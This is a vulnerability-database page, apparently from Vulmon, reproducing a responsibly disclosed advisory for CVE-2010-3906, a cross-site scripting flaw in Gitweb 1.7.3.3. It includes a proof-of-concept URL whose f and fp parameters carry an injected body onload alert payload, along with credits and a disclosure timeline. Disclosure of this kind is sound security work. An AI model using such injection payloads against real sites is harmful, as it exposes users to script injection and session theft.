Recent Vulnerabilities Research Posts Trends Blog About Contact

Related Vulnerabilities: CVE-2010-3906

Publish Date: 16 Dec 2010

Source

                							

                &gt;-8 Description 8-&lt;
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.
 
&gt;-8 Proof Of Concept 8-&lt;
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] =&gt; "&gt;&lt;body onload="alert('xss')"&gt; &lt;a
 
 
&gt;-8 Credits 8-&lt;
Emanuele 'emgent' Gentili 
 
&gt;-8 Notes 8-&lt;
http://www.tigersecurity.it/nuova-vulnerabilita-di-gitweb-rilasciata-in-responsible-disclosure-dal-tiger-team-di-tiger-security-s-r-l/index.aspx
 
&gt;-8 Responsible Disclosure 8-&lt;
 
13-12-2010  Initial contact with upstream and vendor-sec
13-12-2010  Vendor Response and CVE-2010-3906 assignation
15-12-2010  Public Disclosure

<p>

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

Gitweb 1.7.3.3 Cross Site Scripting

Vulmon Search

About

Products

Connect